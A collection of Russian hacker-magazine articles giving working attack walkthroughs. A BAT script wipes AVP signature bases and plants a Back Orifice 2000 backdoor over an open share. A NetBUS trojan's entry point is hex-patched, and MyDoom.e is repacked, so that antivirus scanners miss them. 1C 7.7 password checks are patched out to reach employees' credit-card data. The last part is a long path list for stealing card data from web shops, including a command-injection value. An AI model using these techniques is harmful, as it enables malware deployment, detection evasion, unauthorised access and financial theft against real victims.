Данный метод работает только на Windows 9x русских версиях (для английских версий необходимо подправить каталог автозапуска), а также при инсталляции Antiviral Toolkit Pro в c:\program files\antiviral toolkit pro\ (по умолчанию).

Рассмотрим следующую ситуацию: есть хост, имеющий общий ресурс С с полным доступом, установленным Antiviral Toolkit Pro. Как положить на него backdoor? Для этого надо заархивировать с паролем (BackdooR) сервер бакдора (будем использовать Back Oriffice 2000). Пароль используется для того, чтобы AVP сканер не смог обнаружить сервер бакдора:

>PKZIP.EXE -a -sBackooR asyslg.dll BO2K.EXE

Теперь AVP не сможет увидеть сигнатуры BO2k в ASYSLG.DLL (если установлена опция проверки архивов).

Затем необходимо обеспечить запуск сервера и обезвредить AVP. Для этого напишем BAT-файл:

@echo off
attrib -R c:\progra~1\antivi~1\backdoor.avc >nul
attrib -R c:\progra~1\antivi~1\trojan.avc >nul
del c:\progra~1\antivi~1\backdoor.avc >nul
del c:\progra~1\antivi~1\trojan.avc >nul
copy c:\progra~1\antivi~1\macro.avc c:\progra~1\antivi~1\backdoor.avc >nul
copy c:\progra~1\antivi~1\mail.avc c:\progra~1\antivi~1\trojan.avc >nul
c:\windows\pkunzip.exe -e -sBackdooR c:\windows\ASYSLG.DLL
C:\Windows\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\ >nul
del c:\windows\pkunzip.exe >nul
del c:\windows\asyslg.dll >nul
del c:\winstart.bat >nul
echo on

Расшифровка построчно:

отключение вывода на экран выполняемых команд
снятие атрибута READONLY с файла backdoor.avc (база сигнатур для бакдоров)
снятие атрибута READONLY с файла tojan.avc (база сигнатур для троянов)
удаление файла backdoor.avc
удаление файла tojan.avc
подмена базы (для того, чтобы при запуске сканера AVP не ругался)
подмена базы (отсутствие базы)
разархивация бакдора и помещение его автозагрузку
удаление PKUNZIP
удаление архива с бакдором
удаление файлы запуска

Почему это будет работать? Потому что при старте Windows если в главном каталоге находится файл WINSTART.BAT он запускается на выполнение. При этом пользователь не увидит ни одного сообщения. Затем необходимо скопировать на удаленный компьютер следующие файлы:

ASYSLG.DLL в директорию c:\windows\
PKUNZIP.EXE в директорию c:\windows\
WINSTART.BAT в директорию c:\

Итого необходимо будет закачать 86.508 байт.

Все. После перезагрузки на компьютере из автозагрузки запустится сервер, удалит себя оттуда и запишет себя в c:\windows\system\ (сервер должен быть сконфигурирован на удаление оригинального файла). В принципе, можно использовать архиватор CAB, и проводить распаковывание программой EXTRACT.EXE, которая присутствуют на почти всех компьютерах, что позволит уменьшить размер перекачиваемых данных, однако данный архиватор не позволяет архивировать с паролем, что может привести к обнаружению сервера бакдора сканером (если включена опция проверки архивов).

Рекомендации по защите от данного вида атаки:

1. Закройте все общие ресурсы! Если вы без них жить не можете установите на них пароль (не менее 6 символов и не менее 1 спецсимвола).
2. Поставьте себе Firewall. Даже если эта атака пройдет успешной, получить доступ к вашей системе не удастся – Firewall вас сразу же предупредит о попытке проникновения. Я рекомендую Tiny Personal Firewall.
3. При обнаружении и внезапной пропажи каких-то файлов сразу проверяйте свои диски антивирусом, а также проводите профилактическое сканирование дисков не менее одного раза в неделю.
4. Своевременно обновляйте антивирусные базы.

ZaDNiCa
anonym01@mailru.com

Модифицируем троян или как обойти AVP #2

Прочитав повествование об обмане AVP при посылке трояна на удаленный компьютер я был сказочно обрадован полетом народной мысли :) Но разве можно заниматься таким вредительством, как удаление баз с вирусными сигнатурами – это сакс (не по-кулхацкерски), к тому же каждый дурак любит постоянно обновлять базы – благо на халяву и автоматом :(

Теперь и я хочу поделиться кое-каким методом. Задача стара как мир – не занимаясь написанием своего трояна, надо сделать имеющийся незаметным для антивируса. Итак, нам понадобятся:
1) PE компрессор UPX (http://upx.tsx.org/)
2) Шестнадцатеричный редактор Hiew (http://protools.cjb.net/)
3) ProcDump32 как редактор PE (http://protools.cjb.net/)
4) Минимальные познания в ассемблере
5) Собственно троян. Я взял старый NetBUS (уж что нашлось)
6) Правильно установленный девайс “руки”

Так как же антивирус ищет вирусы и трояны? Какое-то время назад я пообщался с очень умными людьми, которые сообщили мне, что это “Страшная Тайна”, и официальной информации я по этому поводу не найду. Но если в вкратце, то антивирус, не обнаружив в файле известных сигнатур (последовательностей байт), применяет “эвристику” – начинает смотреть, что за команды идут в файле, и пытается их эмулировать и “смотреть”, что же эти команды могут делать, поскольку не может просто запустить файл, дождаться, пока он сам распакуется/расшифруется в память, дабы случайно не заразить комп, на котором запускается этот файл. Однако многие команды (например, настройку импорта) процессора он не может проэмулировать, поэтому, встретив такие команды, он просто забивает на дальнейшую проверку, даже не говоря о своей некомпетентности :)

К счастью (или нет), все пакеры для оптимизации пишутся настолько через задницу, что антивирус приходит в дикий восторг, т.е. бросает проверку файла, что нам и надо. Тем не менее, у AVP есть набор функций, с помощью которых он может определить, чем запакован файл, и распаковать его по имеющейся схеме, что он и делает в частности для UPX, и обнаруживает трояна в запакованном файле. Основная идея заключается в том, что нам надо изменить распаковщик таким образом, чтобы антивирус не признал в файле известный ему пакер и пропустил проверку. Итак, займемся делом.

Берем файл patch.ex_ из архива original.zip (я его специально так назвал, чтобы ни у кого не было соблазна запустить его, а потом обвинять меня в распространении троянов). Я этот файл уже пожал UPX. Файл определяется AVP как Backdoor.NetBUS.170. Если используете другой троян, то пакуем его с помощью UPX. AVP все равно определяет трояна, но говорит, что файл пожат UPX. Хех, я это и так знаю…Теперь натравливаем на пожатый файл PE Editor из ProcDump32. Нам надо посмотреть адрес точки входа в файл (Entry Point) и адрес загрузки (Image Base). Имеем:

Entry Point: 00082460h
Image Base: 00400000h

Теперь открываем файл в Hex редакторе Hiew. Переходим в режим дизассемблера (F4/Decode). Отправляемся по адресу Entry Point + Image Base = 00482460h (у кого плохо с шестнадцатеричной математикой, может воспользоваться стандартным мастдайским калькулятором – там есть Hex режим). Для этого жмем Goto (F5) и набиваем в качестве адреса “.482460″ (точка перед адресом нужна потому что это виртуальный адрес). Видим начало распаковщика – что то вроде этого:

.00482460: 60 pushad
.00482461: BE00304500 mov esi,000453000 ;” E0 ”
.00482466: 8DBE00E0FAFF lea edi,[esi][0FFFAE000]
.0048246C: C787B0C405001C340F90 mov d,[edi][00005C4B0],0900F341
.00482476: 57 push edi
.00482477: 83CDFF or ebp,-001 ;” ”
.0048247A: EB0E jmps .00048248A

То, что надо. Теперь надо найти свободное место для патча. Пролистаем страниц 6 вниз, и видим немного места забитого нулями – это добрый дядя Билли придумал выравнивание секций. Вот это и нужно было нам. Я выбрал адрес 004825CFh. Теперь подводим курсор к этому адресу и начинаем редактировать файл в ассемблерном режиме (F3/F2). Заколачиваем всего две команды: push OEP и ret (не забывая жать enter после ввода каждой команды :) Где ОЕР это Entry Point + Image Base, т.е. в нашем случае это число 00482460 – для других файлов соответственно будет другое. Итого забили вот что:

Push 00482460
Ret
Сохраняем изменения (F9) и теперь файло выглядит примерно так:

.004825A9: 8903 mov [ebx],eax
.004825AB: 83C304 add ebx,004 ;” ”
.004825AE: EBE1 jmps .000482591
.004825B0: FF9698380800 call d,[esi][000083898]
.004825B6: 61 popad
.004825B7: E9B87CFDFF jmp .00045A274
.004825BC: D425 aam 025
.004825BE: 48 dec eax
.004825BF: 00E0 add al,ah
.004825C1: 254800B0D4 and eax,0D4B00048 ;”+_ H”
.004825C6: 45 inc ebp
.004825C7: 0000 add [eax],al <-- Это было забито нулями
.004825C9: 0000 add [eax],al
.004825CB: 0000 add [eax],al
.004825CD: 0000 add [eax],al
.004825CF: 6860244800 push 000482460 ;" H$`" <-- Это наша вставка
.004825D4: C3 retn
.004825D5: 0000 add [eax],al <-- Опять нули
.004825D7: 0000 add [eax],al

Остался последний рывок. Снова открываем файл в PE Editor'е от ProcDump32 и меняем точку входа на адрес нашей вставки, не забыв от виртуально адреса отнять Image Base, т.е. в Entry Point пишем 000825CF (Offset - Image Base = 004825CF - 00400000 = 000825CF). Кто знаком с ассемблером, тот поймет, что было сделано, а кто не знает (sic!) - тому это не нужно :) Вся операция занимает 2-3 минуты и литр пива.

Проверьте полученный файл (лежит в patched.zip) антивирусом. Мой AVP (как сканер, так и монитор) ничего не заметили, даже не сказали что, файл пожат. Вот такой он "народный", "самый лучший" антивирус. Кстати, Dr.Web тоже отсосал и все такое.

Полученный файл прекрасно работает у меня на WinME, как будет он себя вести на Win2k или НТ - Х.З. Я не проверял, но причин для отказа в работе я не вижу. Если у кого-то не получится так сделать - мылить мне не нужно, а надо переустановить драйвера устройства "руки".

интернетконецформыначалоформыМой опыт 1С-ника показывает, что злоумышленники в основном пытаются ломать файл users.usr. Он находится по адресу: каталог_с_базой\usrdef \users.usr и хранит информацию о пользователях и их паролях. Пароли хранятся в виде хэшей: MD5(pass), поэтому просмотреть пароль просто так не выйдет. Существуют брутфорсеры MD5 (именно для 1С), а также есть возможность скинуть пароли всех пользователей. Однако сброс всех паролей мгновенно вызовет подозрение админов или бухгалтеров. Я протестировал такой брутфорсер и пришел к выводу, что числовые пароли взламываются очень быстро, но достаточно подключить символы и ограничить длину 8-10 символами — и уже становится невесело, так как дело попахивает долгими часами перебора. Ты скажешь: «Да бухгалтеры для пароля всегда свой год рождения пишут!» В чем-то правильно, но… Последние тенденции в корпорациях и даже мелком бизнесе показывают стремление защитить информацию (данные о клиентах, поставщиках, оборотах предприятия) от кражи и от глаз весьма заинтересованных конкурентов. В борьбе за сохранность данных создаются службы безопасности, вводятся административные меры наказания, минимальные требования к длине пароля и т.п. К примеру, в фирме, где работал я, мы сами задавали пароли и ставили вот такие условия:

Длина = восемь символов

Цифры + буквы + одна заглавная в английской раскладке.

[для промежуточного вывода] могу сказать, что атака на users.usr имеет несколько недостатков:

1 ПОДБОР ПАРОЛЯ ПЕРЕБОРОМ НЕ ВСЕГДА ОСУЩЕСТВИМ В КОРОТКИЕ СРОКИ, ОСОБЕННО ЕСЛИ ОСТАЛОСЬ РАБОТАТЬ ДВЕ НЕДЕЛИ :) .

2 ВРЯД ЛИ ПОЛУЧИТСЯ УДАЛИТЬ ФАЙЛ. ЛЮБОЙ НОРМАЛЬНЫЙ АДМИН ПОСТАВИТ НА ЭТОТ ФАЙЛ АТРИБУТ READONLY (ТОЛЬКО ДЛЯ ЧТЕНИЯ). И ЕСТЕСТВЕННО, ПОДМЕНИТЬ ХЭШ-СУММУ ТОЖЕ НЕ ПОЛУЧИТСЯ.

Ну что ж, придется поступить хитрым образом. Учитывая свой опыт реверсера, я решил поковыряться в 1CV7s.exe (25-й релиз). Как выяснилось, не зря. Буква S в конце имени файла указывает на SQL-версию, локальную и сетевую. Мой выбор пал именно на нее, одну из самых распространенных, неслучайно: она превосходно работает на Терминале, поддерживает как DBF, так и SQL-базы, освобождает от головной боли насчет электронных ключей (кто видел голубые экраны при установке эмуляторов хаспов, тот поймет).

[перейдем к практике] Представим ситуацию, когда есть база данных по сотрудникам, помимо личных данных в ней хранится информация по кредитным картам. Конечно, мы не допущены к справочнику доступа, и, соответственно, нет доступа к документам на перевод/начисление денежных средств. Пора получить его. Первое, что приходит в голову, — убрать проверку пароля и входить под любым пользователем.

Запускаем отладчик (я использовал OllyDbg), в списке выбираем нужную базу и пытаемся авторизоваться как «Админ» (рис. 1). Получаем сообщение об ошибке (рис. 2.).

Пойдем по классической схеме, ставим брэйкпоинт на MessageBoxA (с учетом регистра): BP MessageBoxA.

Теперь на кнопку ОК, и мы вывалились в:

77D2BC33 > 833D E>CMP [DWORD DS:77D5F2E4],0

77D2BC3A 0F85 F>JNZ USER32.77D3C23E

Это системная библиотека USER32.dll, а защита находится в коде самой программы (долго прыгать по библиотекам сейчас не время, так как лишние мучения в 1С’ке, многослойном пироге с кучей используемых библиотек, ни к чему). Мои исследования привели к библиотеке: UserDef.dll. Имя Dll совпадает с названием каталога, в котором хранятся пароли пользователей. Вполне логично, что разработчики вынесли авторизацию пользователей именно в нее. Итак, +, закроем сообщение об ошибке ОК. Теперь ставим бряк на секцию кода dll, чтобы не прыгать по библиотекам и не терять свое время. Теперь — и мы находимся тут:

260296AB E8 C4B>CALL ; Вывод сообщения об ошибке

260296B0 68 2CF>PUSH USERDEF.2604F62C

260296B5 8BCF MOV ECX,EDI

Поднимемся чуть выше:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 51 PUSH ECX ; хэш от пароля, введенного нами

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>] ; msvcrt._mbscmp ; эта процедура сравнивает две строки и возвращает в регистре EAX ноль, если строки равны, и -1, если строки различаются

26029699 83C4 0>ADD ESP,8

2602969C 85C0 TEST EAX,EAX

2602969E 5D POP EBP

2602969F 5B POP EBX

260296A0 74 23 JE SHORT USERDEF.260296C5 ; если строки равны, продолжаем работу

Итак, мы можем внести изменения в работу этого участка и заставить 1С думать, что ты вводишь пароль. Один из рецептов — передать в процедуру сравнения указатели на одну и ту же строку:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 50 PUSH EAX ; хэш от настоящего пароля

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>]

Теперь функция всегда будет возвращать верное значение и мы сможем зайти под любым пользователем. После замены 1С запустит тебя в базу без нареканий. Однако, например, в моей фирме для каждого пользователя заведен специальный каталог, и если пользователь с таким же именем сидит в базе, то мы увидим табличку с рисунка 3.

[использование личных каталогов] — достаточно распространенное явление. Значит, мы должны убрать текущую проверку. Действуем по указанной выше схеме (бряк на MessageBoxA и несколько раз на +, пока не окажешься в самом 1Cv7S.exe).

00409075 . E8 6C>CALL

0040907A . 8A45 >MOV AL,[BYTE SS:EBP-61]

0040907D . 84C0 TEST AL,AL

0040907F . 74 13 JE SHORT 1CV7s.00409094 ; если каталог не занят, прыгаем

00409081 . 6A FF PUSH -1

00409083 . 6A 10 PUSH 10

00409085 . 68 6C>PUSH 706C

0040908A . E8 2D>CALL вывод сообщения об ошибке

0040908F . E9 84>JMP 1CV7s.0040AF18

Естественно, поменяв переход, мы пропускаем проверку и оказываемся в базе.

Теперь можно вытворять в базе что угодно, если, конечно, права пользователя позволяют.

[в этой статье] я рассмотрел версию 1С 7.7. Почему не восьмерку? Во-первых, 7.7 до сих пор очень распространена, 95% моих знакомых пользуются именно ей. Во-вторых, восьмерка не менее дырявая, чем 7.7. К такому выводу я пришел посмотрев на подход 1С к безопасности продуктов. Чуть позже проверим еще раз. Администраторам же советую использовать терминал с отключенным маппингом дисков или, при работе в обычном сетевом режиме, запускать 1С с правами другого пользователя (тогда не получится пропатчить чужой процесс), а на исполняемые файлы 1С однозначно ставить атрибут ReadOnly. Только не на всю папку, иначе она примется падать при запуске.

интернетконецформыначалоформыДля тебя, наверное, не секрет, что почти все публичные трояны, которые можно найти в Сети, давно уже занесены в базы антивирусов и их распространение – проблематичная задача. Однако известно ли тебе, что любую заразу можно довольно легко замаскировать под обычное приложение, после чего ни один даже самый навороченный антивирус не обнаружит подставу? Держись! Сегодня мы с тобой так замаскируем MyDoom.e, что впору будет организовывать новую эпидемию :) .
Обнаружение
Для начала неплохо было бы разобраться с тем, как, собственно, антивирусные программы отличают зараженные файлы и трояны от обыкновенных бинарников. Я не буду вникать в тонкости этого процесса, а расскажу лишь в общих чертах. У каждого антивируса в обновляемой базе хранятся специальные записи, по которым можно запалить трояна или вирус. Такие записи называются сигнатурами. Сигнатурой может быть некая последовательность байт, характерная для данного вируса, контрольная сумма или еще какой-то характерный признак. Для сложных вирусов, которые не имеют постоянных сигнатур, изобретаются иные методы обнаружения. Антивирус берет файл и начинает искать в нем сигнатуры из своих баз. Если сигнатура обнаружена, то антивирус радостно сообщает пользователю, что данная программа – опаснейший троян. А вот этого-то тебе как раз и не хотелось бы, не так ли? Нужно сделать так, чтобы узнаваемой сигнатуры в файле попросту не было. В этом случае антивирус дополнительно проверяет файл эвристическим анализатором. Алгоритм зависит от конкретного антивируса, а в некоторых эвристика и вовсе нет. Эвристик – штука темная, срабатывает, в основном, на вирусы, написанные на ассемблере, поэтому, скорее всего, антивирус ничего не обнаружит и пойдет дальше по своим делам. Как же убрать эту сигнатуру? Практика показывает, что это не так уж и сложно.
Среди троянописателей и вирмейкеров принято паковать свои творения специальными упаковщиками EXE-файлов. Плюсов от этого немало: например, червяк становится меньше в размерах, а значит, за то же время может разослать больше своих копий и его присутствие становится менее заметным для пользователя. Трояны тоже пакуют, так как они по своей природе должны быть маленькими и незаметными.
Чертик в коробочке
Что же представляет собой упакованный exe-файл? Это PE-заголовок, небольшой загрузчик и прикрепленные сжатые данные исходного файла. Эти данные могут быть дополнительно зашифрованы. При запуске управление передается загрузчику, который распаковывает эти данные прямо во время выполнения и передает управление коду самой программы. С точки зрения пользователя никаких отличий нет – программа точно так же запускается и работает как обычно.
Упаковщиков довольно много. Все они используют разные алгоритмы сжатия и шифрования и разные загрузчики. Антивирусу довольно сложно понять, что скрывается в упакованном файле. Он должен анализировать непосредственно код программы, а код в упакованном файле – это лишь код загрузчика. Для анализа кода его нужно предварительно распаковать. Для этого антивирус должен знать, прежде всего, чем упакован файл, и применить соответствующий алгоритм. Для каждого из упаковщиков необходим свой специальный алгоритм, а то и несколько сразу, так как некоторые программы поддерживают несколько разных способов упаковки. Если антивирус верно определил, чем упакован файл, и если он поддерживает данный алгоритм распаковки, то успешно извлечет из файла код программы и проверит его. У антивируса начинаются проблемы в том случае, когда тип упаковщика ему неизвестен. Антивирусы умеют вскрывать файлы, сжатые большинством популярных упаковщиков.
Для того чтобы попавший в базу троян или вирус перестал определяться антивирусом, необходимо либо упаковать его заново неизвестным антивирусу упаковщиком, либо затруднить или сделать невозможным определение того, чем сжат файл. Сейчас я покажу, как это можно сделать.
Приступаем
Для опытов я взял давно присутствующий во всех антивирусных базах вирус MyDoom.e. Для проверки я использовал два антивируса, которые нашлись у меня на компьютере, – Kaspersky Anti-Virus 4.5 и Norton Anti-Virus 2002. Данный экземпляр MyDoom запакован UPX’ом – довольно известным и распространенным упаковщиком. Я определил это по названиям секций в PE-заголовке файла (UPX0 и UPX1), а также по присутствующей там строчке «1.24 UPX». Распаковать UPX не составляет труда – это позволяет делать и сама утилита upx.exe, стоит только указать ключ –d. Практически все антивирусы умеют делать это, так как разработчики UPX активно сотрудничают с компаниями, занимающимися разработками в сфере сетевой безопасности, о чем прямо упоминается в лицензии программы. На самом деле распаковать файл бывает непросто. Не все программы для сжатия исполняемых файлов поддерживают распаковку. Приходится искать в интернете специальные распаковщики, которые далеко не всегда работают корректно.
После распаковки файл, конечно же, тоже определяется антивирусом. Теперь необходимо запаковать файл таким упаковщиком, который был бы ему неизвестен. Упаковщиков в инете действительно много, и есть из чего выбрать. Для опытов я выбрал PECompact2. Этот упаковщик замечателен тем, что дает на выбор пять разных вариантов сжатия и два загрузчика. Различные способы сжатия реализованы в виде кодеков.
Я взял распакованный файл и попытался сжать его заново. Были выбраны следующие настройки упаковщика: наивысший уровень компрессии, кодек для сжатия – LZMA SDK Codec, загрузчик – стандартный. Я выбрал именно LZMA, так как именно этот алгоритм дает наименьший размер итогового файла. Высокий коэффициент сжатия достигается за счет использования того же самого алгоритма сжатия, что используется в архиваторе 7zip. По размеру сжатых файлов 7zip, как известно, иногда обгоняет даже RAR.
Вирус успешно сжался. Затем я проверил получившийся сжатый файл антивирусными программами AVP и NAV, и что ты думаешь? Оба антивируса показали, что файл чист! Это говорит о том, что используемый кодек сжатия им неизвестен и ничего подозрительного в этом файле антивирусы не углядели.
После сжатия необходимо проверить вирус или троян на работоспособность, а то может получиться так, что на компьютере-жертве он просто вылетит с ошибкой. Такое иногда случается со сжатыми файлами. Разумеется, запускать вирус на своем компе, чтобы проверить, работает ли он, я не стал. Для проверки можно просто взять несколько других программ, сжать их с теми же параметрами и проверить, не возникают ли в них ошибки. Если все программы заработали, то и с Трояном, скорее всего, ничего не случится.
Маскировка
Для повышения защиты от детектирования антивирусом нужно применить дополнительные меры по маскировке. Можно вообще не переупаковывать файл, а попытаться скрыть от антивируса информацию о том, чем на самом деле бинарник сжат. Допустим, вирус сжат обычным UPX. Если антивирус не будет об этом знать, то не сможет найти подходящий способ распаковки. Защитить программу от определения типа компилятора и упаковщика, использованного для ее создания, позволяет модификация точки входа. Эту процедуру можно выполнить с помощью специальных утилит, таких как, например, HidePE. С помощью этой программы можно сделать так, чтобы файлы, упакованные, например, с помощью UPX, определялись как упакованные ASProtect или VBOX. После обработки этой программой вируса Mydoom.e ни Kaspersky, ни Norton не смогли его определить. От разработчиков HidePE доступна еще одна подобная программа – StealthPE. Она отличается более богатым набором инструментов для скрытия информации о типе упаковщика. Среди таких программ от других разработчиков следует упомянуть о DotFix FakeSigner, которая предлагает на выбор более 200 различных сигнатур компиляторов и упаковщиков для внедрения в программу.
Возможные проблемы
В реальной ситуации с распаковкой и упаковкой программ может возникнуть куча проблем. Например, у тебя есть троян, но ты не знаешь, чем он упакован. Можно попытаться использовать одну из специальных утилит, например, PEiDentfier или PE Sniffer из PE Tools. Если эти программы не дали тебе необходимой информации, тогда попытайся определить на глаз. Разработчики упаковщиков любят вставлять названия своих программ в обработанные файлы. Так что если ты нашел в начале файле «FSG», то, скорее всего, перед тобой файл, сжатый именно FSG. Допустим, ты знаешь, чем упакован файл, но этот упаковщик не поддерживает распаковку. Не беспокойся, умные люди наверняка давно написали распаковщик именно для этой программы. Как говорит разработчик UPX: «Just do a websearch on “unpackers”». Любой алгоритм упаковки можно сломать, просто некоторые алгоритмы ломаются на лету, а некоторые требуют специального подхода и недюжинных знаний в программировании на ассемблере.
Что в итоге
Что можно сделать с помощью этих несложных процедур? Много чего. Спровоцировать новую вирусную эпидемию, взяв известный вирус и наделав из него пять новых разновидностей. Поставить троян на машину человека, который может хоть каждый день сканировать свой жесткий диск антивирусным сканером и ничего не обнаруживать. Всеми этими способами успешно пользуются разработчики программного обеспечения для защиты своих творений от взлома. Крэки все равно рано или поздно появляются, но хорошая защита исполняемого файла может как минимум задержать этот процесс. На пару деньков. Не проспи Новый год, удачи! :)
Оверлеи
Некоторые программы дописывают в свое тело некоторое количество дополнительных данных, о которых нет данных в PE-заголовке, – оверлеи (overlays). При сжатии такого файла эти данные могут быть утеряны. Оверлеи могут хранить нужную для работы программы информацию, поэтому терять их не стоит. Во многих упаковщиках предусмотрена функция сохранения оверлеев. Например, в UPX это ключ -–overlay=copy. Насколько корректно упаковщик работает с оверлеями, можно проверить, попробовав сжать флеш-мультик, который представляет из себя не что иное, как Flash Player с прикрепленной флешкой. Если запаковать его без сохранения оверлея, то после запуска ты увидишь лишь пустое окно, так как мультик не сохранится.
Нужный софт
Если ты захочешь повторить мои эксперименты, тебе потребуется софт, который я упоминал в этой статье:
HidePE, StealthPE http://bgcorp.narod.ru
DotFix FakeSigner www.dotfix.com
UPX 1.90w http://upx.sf.net
FSG 2.0 www.xtreeme.prv.pl
PE Compact 2.10 www.bitsum.com
PE Tools/PE Sniffer www.uinc.ru
Как всегда, этот софт ты можешь найти на нашем диске, а также на сайте http://ired.inins.ru/xa.
Простые советы
Чтобы добиться наилучшего результата, экспериментируй! Попробуй запаковать файл разными программами с различными алгоритмами сжатия – результат работы будет разнообразным. Какая-то из софтин сожмет твой бинарник в 10 раз, но он банально не запустится. Какая-то сожмет на 30%, обеспечив стабильную работу до проверки антивирусом. Но ты выберешь ту, что уменьшила размер твоего чудо-бинарника вдвое, а вероятность нелепого конфликта с антивирусом свела к нулю. Также ты можешь просто вставить в свою программу сигнатуры других программ для сжатия, что окончательно запутает глупые антивирусы.
INFO
После сжатия необходимо проверить вирус или троян на работоспособность, а то может получиться так, что на компьютере-жертве он просто вылетит с ошибкой.
WARNING
Помни, что любые действия по распространению вредоносных программ караются Уголовным кодексом РФ. Не следует нарушать законы страны, в которой ты живешь.

интернетСпособ 1. Этот способ основан на уязвимости в OnLine магазинах… Наверно многим хочется поиметь чужие кредитки, владельцы которых пользуются ими в он-лайн шопах. Ну что ж…у вас есть такая возможность! Для этого вам не придётся ухищряться, делая свой порносервер и что-либо ломать. Достаточно просто зайти какой-нибудь известный поисковик (я бы посоветовал тебе http://www.altavista.com/ или http://www.yahoo.com/, но можешь пользоваться и другим) и ввести пару волшебных слов. Какие именно?! Хмм…давайте посмотрим ).
Многие админы оставляют открытыми такие директории:
/orders
/Order
/Orders
/order
/config
/Admin_files
/mall_log_files
/PDG_Cart
PDG_Cart/order.log
PDG_Cart/shopper.conf
/pw
/store/customers
/store/temp_customers
/WebShop
/webshop
/WebShop/templates
/WebShop/logs
/cgi/PDG_Cart/order.log
/PDG_Cart/authorizenets.txt
/cgi-bin/PDG_Cart/mc.txt
/PDG/order.txt
/cgi-bin/PDG_cart/card.txt
/PDG_Cart/shopper.conf
/php/mlog.phtml
/php/mylog.phtml
/webcart/carts
/cgi-bin/orders.txt
/WebShop/logs
/cgi-bin/AnyForm2
/cgi-bin/mc.txt
/ccbill/secure/ccbill.log
/cgi-bin/orders/mc.txt
/WebCart/orders.txt
/cgi-bin/orders/cc.txt
/cvv2.txt
/cgi-bin/orderlog.txt
/WebShop/logs
/orderb/shop.mdb
/_private/shopping_cart.mdb
/scripts/iisadmin/tools/mkilog.exe
/cool-logs/mylog.html
/cool-logs/mlog.html
/easylog/easylog.html
/HyperStat/stat_what.log
/mall_log_files/
/scripts/weblog
/super_stats/access_logs
/trafficlog
/wwwlog
/Admin_files/order.log
/bin/orders/orders.txt
/cgi/orders/orders.txt
/cgi-bin/orders/orders.txt
/cgi-sys/orders/orders.txt
/cgi-local/orders/orders.txt
/htbin/orders/orders.txt
/cgibin/orders/orders.txt
/cgis/orders/orders.txt
/scripts/orders/orders.txt
/cgi-win/orders/orders.txt
/bin/pagelog.cgi
/cgi/pagelog.cgi
/cgi-bin/pagelog.cgi
/cgi-sys/pagelog.cgi
/cgi-local/pagelog.cgi
/cgibin/pagelog.cgi
/cgis/pagelog.cgi
/scripts/pagelog.cgi
/cgi-win/pagelog.cgi
/bin/DCShop/auth_data/auth_user_file.txt
/cgi/DCShop/auth_data/auth_user_file.txt
/cgi-bin/DCShop/auth_data/auth_user_file.txt
/cgi-sys/DCShop/auth_data/auth_user_file.txt
/cgi-local/DCShop/auth_data/auth_user_file.txt
/htbin/DCShop/auth_data/auth_user_file.txt
/cgibin/DCShop/auth_data/auth_user_file.txt
/cgis/DCShop/auth_data/auth_user_file.txt
/scripts/DCShop/auth_data/auth_user_file.txt
/cgi-win/DCShop/auth_data/auth_user_file.txt
/bin/DCShop/orders/orders.txt
/cgi/DCShop/orders/orders.txt
/cgi-bin/DCShop/orders/orders.txt
/cgi-sys/DCShop/orders/orders.txt
/cgi-local/DCShop/orders/orders.txt
/htbin/DCShop/orders/orders.txt
/cgibin/DCShop/orders/orders.txt
/cgis/DCShop/orders/orders.txt
/scripts/DCShop/orders/orders.txt
/cgi-win/DCShop/orders/orders.txt
/dc/auth_data/auth_user_file.txt
/dcshop/orders/orders.txt
/dcshop/auth_data/auth_user_file.txt
/dc/orders/orders.txt
/orders/checks.txt
/orders/mountain.cfg
/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG
/webcart/carts
/webcart-lite/orders/import.txt
/webcart/config
/webcart/config/clients.txt
/webcart/orders
/webcart/orders/import.txt
/WebShop/logs/cc.txt
/WebShop/templates/cc.txt
/bin/shop/auth_data/auth_user_file.txt
/cgi/shop/auth_data/auth_user_file.txt
/cgi-bin/shop/auth_data/auth_user_file.txt
/cgi-sys/shop/auth_data/auth_user_file.txt
/cgi-local/shop/auth_data/auth_user_file.txt
/htbin/shop/auth_data/auth_user_file.txt
/cgibin/shop/auth_data/auth_user_file.txt
/cgis/shop/auth_data/auth_user_file.txt
/scripts/shop/auth_data/auth_user_file.txt
/cgi-win/shop/auth_data/auth_user_file.txt
/bin/shop/orders/orders.txt
/cgi/shop/orders/orders.txt
/cgi-bin/shop/orders/orders.txt
/cgi-sys/shop/orders/orders.txt
/cgi-local/shop/orders/orders.txt
/htbin/shop/orders/orders.txt
/cgibin/shop/orders/orders.txt
/cgis/shop/orders/orders.txt
/scripts/shop/orders/orders.txt
/cgi-win/shop/orders/orders.txt
/bin/shop.pl/page=;cat%20shop.pl
/cgi/shop.pl/page=;cat%20shop.pl
/cgi-bin/shop.pl/page=;cat%20shop.pl
/cgi-sys/shop.pl/page=;cat%20shop.pl
/cgi-local/shop.pl/page=;cat%20shop.pl
/htbin/shop.pl/page=;cat%20shop.pl
/cgibin/shop.pl/page=;cat%20shop.pl
/cgis/shop.pl/page=;cat%20shop.pl
/scripts/shop.pl/page=;cat%20shop.pl
/cgi-win/shop.pl/page=;cat%20shop.pl
/bin/cart.pl
/cgi/cart.pl
/cgi-bin/cart.pl
/cgi-sys/cart.pl
/cgi-local/cart.pl
/htbin/cart.pl
/cgibin/cart.pl
/scripts/cart.pl
/cgi-win/cart.pl
/cgis/cart.pl
/bin/cart.pl
/cgi/cart.pl
/cgi-bin/cart.pl
/cgi-sys/cart.pl
/cgi-local/cart.pl
/htbin/cart.pl
/cgibin/cart.pl
/cgis/cart.pl
/scripts/cart.pl
/cgi-win/cart.pl
/bin/cart32.exe
/cgi/cart32.exe
/cgi-bin/cart32.exe
/cgi-sys/cart32.exe
/cgi-local/cart32.exe
/htbin/cart32.exe
/cgibin/cart32.exe
/cgis/cart32.exe
/scripts/cart32.exe
/cgi-win/cart32.exe
/cgi-bin/www-sql;;;
/server%20logfile;;;
/cgi-bin/pdg_cart/order.log
/cgi-bin/shopper.exe?search
/orders/order.log
/orders/import.txt
/orders/checks.txt
/orders/orders.txt
/Orders/order.log
/order/order.log
/WebShop/logs/ck.log
/WebShop/logs/cc.txt
/WebShop/templates/cc.txt
/_private/orders.txt

В директориях подобного рода содержатся файлы типа:

orders.txt
order.txt
import.txt
checks.txt
order_log
order.log
orders.log
orders_log
log_order
log_orders
temp_order
temp_orders
order_temp
orders_temp
quikstore.cfg
quikstore.cgi
